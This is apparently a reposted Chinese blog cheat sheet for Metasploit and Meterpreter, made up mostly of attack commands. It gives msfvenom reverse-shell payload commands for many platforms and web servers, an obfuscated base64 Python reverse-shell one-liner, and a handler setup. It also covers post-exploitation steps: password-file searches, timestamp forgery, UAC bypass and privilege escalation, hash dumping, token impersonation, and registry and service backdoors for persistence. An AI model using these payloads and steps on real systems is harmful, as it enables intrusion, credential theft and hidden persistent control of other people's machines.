Hack Your Heart

Back

MSF备忘录 Blur image

1. 安装运行及初始化#

安装

启动

1# 运行
2$ msfconsole
3# 初始化数据库
4$ msfdb init
5# 重建缓存
6$ db_rebuild_cache
7# 查看数据库连接情况
8$ db_status
bash

2. msf基本命令#

 1show exploits – 查看所有可用的渗透攻击程序代码 
 2show auxiliary – 查看所有可用的辅助攻击工具 
 3show options – 查看该模块所有可用选项 
 4show payloads – 查看该模块适用的所有载荷代码 
 5show targets – 查看该模块适用的攻击目标类型
 6search – 根据关键字搜索某模块 
 7info – 显示某模块的详细信息 
 8use – 进入使用某渗透攻击模块 
 9back – 回退 
10set/unset – 设置/禁用模块中的某个参数 
11setg/unsetg – 设置/禁用适用于所有模块的全局参数 
12save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
bash

3 msfvenom生成payload#

1.可执行程序

Linux

1反向连接:
2msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
3正向连接:
4msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
bash

Windows

1msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
bash

Mac

1msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
bash

执行方式:直接复制可执行程序到目标机器上执行就行了。

2.Web Payloads

PHP

1msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
2cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
bash

ASP

1msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
bash

JSP

1msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
bash

WAR

1msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
bash

执行方式:将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:

1php shell.php
bash

3.脚本shell

Python

1msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
bash

Bash

1msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
bash

Perl

1msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
bash

执行方式:复制shell.py中的内容在linux命令行下执行:

1python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"
bash

4.shellcode Linux Based Shellcode

1msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
bash

Windows Based Shellcode

1msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
bash

Mac Based Shellcode

1msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
bash

4. Meterpreter基本命令#

首先需要先获取meterpreter:

 1use exploit/multi/handler
 2set payload windows/meterpreter/reverse_tcp
 3set LHOST 192.168.81.160
 4set ExitOnSession false
 5exploit -j -z # -j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
 6jobs  # 查看后台攻击任务 
 7kill <id>  # 停止某后台攻击任务 
 8sessions -l  # (查看会话)
 9sessions -i 2   # 选择会话
10sessions -k 2   # 结束会话
bash

如果先获取了cmd,比如利用ms17-010,默认使用的payload返回的就是cmd。这时候我们可以使用sessions-u 2来将cmdshell升级成meterpreter。

获取到了meterpreter,就可以进行后渗透了。

4.1 基本系统命令#

4.2 文件系统命令#

 1cat/ls/cd/rm  # 基本命令
 2search -f *pass* -d C:\\windows # 搜索文件  -h查看帮助
 3getwd/pwd  # 获取当前目录
 4getlwd/lpwd   # 操作攻击者主机 查看当前目录
 5upload /tmp/hack.txt C:\\lltest # 上传文件
 6download c:\\lltest\\lltestpasswd.txt /tmp/  # 下载文件
 7edit c:\\1.txt  # 编辑或创建文件  没有的话,会新建文件
 8mkdir lltest2  # 只能在当前目录下创建文件夹
 9rmdir lltest2  # 只能删除当前目录下文件夹
10lcd /tmp   # 操作攻击者主机 切换目录
11
12# timestomp伪造文件时间戳
13timestomp C:// -h   #查看帮助
14timestomp -v C://2.txt   #查看时间戳
15timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
bash

4.3 网络命令#

4.4 信息收集#

 1# 信息收集的脚本位于:
 2# modules/post/windows/gather
 3# modules/post/linux/gather
 4# 以下列举一些常用的
 5run post/windows/gather/checkvm #是否虚拟机
 6run post/linux/gather/checkvm #是否虚拟机
 7run post/windows/gather/forensics/enum_drives #查看分区
 8run post/windows/gather/enum_applications #获取安装软件信息
 9run post/windows/gather/dumplinks   #获取最近的文件操作
10run post/windows/gather/enum_ie  #获取IE缓存
11run post/windows/gather/enum_chrome   #获取Chrome缓存
12run post/windows/gather/enum_patches  #补丁信息
13run post/windows/gather/enum_domain  #查找域控
bash

4.5 提权#

1.getsystem提权 getsystem工作原理: ①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。 ②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。 ③Windows服务已启动,导致与命名管道建立连接。 ④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。 然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

1getsystem  
bash

2.bypassuac 用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。

msf提供了如下几个模块帮助绕过UAC:

 1msf5 auxiliary(server/socks5) > search bypassuac
 2
 3Matching Modules
 4================
 5
 6   #  Name                                              Disclosure Date  Rank       Check  Description
 7   -  ----                                              ---------------  ----       -----  -----------
 8   0  exploit/windows/local/bypassuac                   2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass
 9   1  exploit/windows/local/bypassuac_comhijack         1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
10   2  exploit/windows/local/bypassuac_eventvwr          2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
11   3  exploit/windows/local/bypassuac_fodhelper         2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key)
12   4  exploit/windows/local/bypassuac_injection         2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection)
13   5  exploit/windows/local/bypassuac_injection_winsxs  2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
14   6  exploit/windows/local/bypassuac_sluihijack        2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)
15   7  exploit/windows/local/bypassuac_vbs               2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
bash

使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限

3.内核漏洞提权

无论是linux还是windows都出过很多高危的漏洞,我们可以利用它们进行权限提升,比如windows系统的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了这些漏洞的利用模块。

4.6 获取凭证#

在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者hash,再尝试登录内网其它服务器,可能取得意想不到的效果。

1.使用mimikatz

  1. 使用meterpreter的run hashdump命令

3.post/windows/gather/smart_hashdump

从上面也可以看出官方推荐post/windows/gather/smart_hashdump

4.powerdump 同 hashdump,但失败了

1meterpreter > run powerdump
2[*] PowerDump v0.1 - PowerDump to extract Username and Password Hashes...
3[*] Running PowerDump to extract Username and Password Hashes...
4[*] Uploaded PowerDump as 69921.ps1 to %TEMP%...
5[*] Setting ExecutionPolicy to Unrestricted...
6[*] Dumping the SAM database through PowerShell...
7
8[-] Could not execute powerdump: Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: The system cannot find the file specified.
bash

4.7 假冒令牌#

在用户登录windows操作系统时,系统都会给用户分配一个令牌(Token),当用户访问系统资源时都会使用这个令牌进行身份验证,功能类似于网站的session或者cookie。

msf提供了一个功能模块可以让我们假冒别人的令牌,实现身份切换,如果目标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的角色。

 1# 1.incognito假冒令牌
 2use incognito      #help incognito  查看帮助
 3list_tokens -u    #查看可用的token
 4impersonate_token 'NT AUTHORITY\SYSTEM'  #假冒SYSTEM token
 5或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
 6execute -f cmd.exe -i –t    # -t 使用假冒的token 执行
 7或者直接shell
 8rev2self   #返回原始token
 9
10# 2.steal_token窃取令牌
11steal_token <pid值>   #从指定进程中窃取token   先ps
12drop_token  #删除窃取的token
bash

4.8 植入后门#

Meterpreter仅仅是在内存中驻留的Shellcode,只要目标机器重启就会丧失控制权,下面就介绍如何植入后门,维持控制。

1.persistence启动项后门

路径:metasploit/scripts/meterpreter/persistence

原理是在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本,在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项,很容易被杀软拦截,官方不推荐

能实现同样功能的脚本还有:exploit/windows/local/persistence

2.metsvc服务后门

在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本 在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项。通过服务启动,需要管理员权限,官方不推荐使用,运行失败

三个文件上传成功,但服务没有启动起来,失败了。使用-r参数可卸载服务。

3.persistence_exe

再来看看官方推荐的东西吧

此模块将可执行文件上载到远程主机并进行创建持久性。 涉及到四个参数

  • REXENAME是拷贝到目标系统中的名字
  • EXEPATH是将要上传的后门在本地的位置
  • SESSION是选择运行此模块的会话
  • STARTUP是启动类型,有USER、SYSTEM、SERVICE这三种取值,USER表示为将在用户登录时启动,SYSTEM表示将在系统启动时启动(需要权限),SERVICE表示将创建一个启动服务项(需要权限)。

尝试一下:

 1meterpreter > run post/windows/manage/persistence_exe REXENAME=backdoor.exe REXEPATH=/home/ubuntu/shell.exe STARTUP=USER
 2
 3[*] Running module against SAUCERMAN
 4[*] Reading Payload from file /home/ubuntu/shell.exe
 5[+] Persistent Script written to C:\Users\TideSec\AppData\Local\Temp\backdoor.exe
 6[*] Executing script C:\Users\TideSec\AppData\Local\Temp\backdoor.exe
 7[+] Agent executed with PID 3684
 8[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\mEMZDQOxkkeebI
 9[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\mEMZDQOxkkeebI
10[*] Cleanup Meterpreter RC File: /home/ubuntu/.msf4/logs/persistence/SAUCERMAN_20190612.1023/SAUCERMAN_20190612.1023.rc
bash

4.registry_persistence

完整路径为exploit/windows/local/registry_persistence

和第一种方法类似,此模块将会安装一个payload到注册表的启动项中。

同类型的还有其他payload,如exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence。

参考#

转自:https://saucer-man.com/information_security/79.html

MSF备忘录
https://h4cker.zip/0210ca/
Author Tajang
Published at February 20, 2023
Copyright CC BY-NC-SA 4.0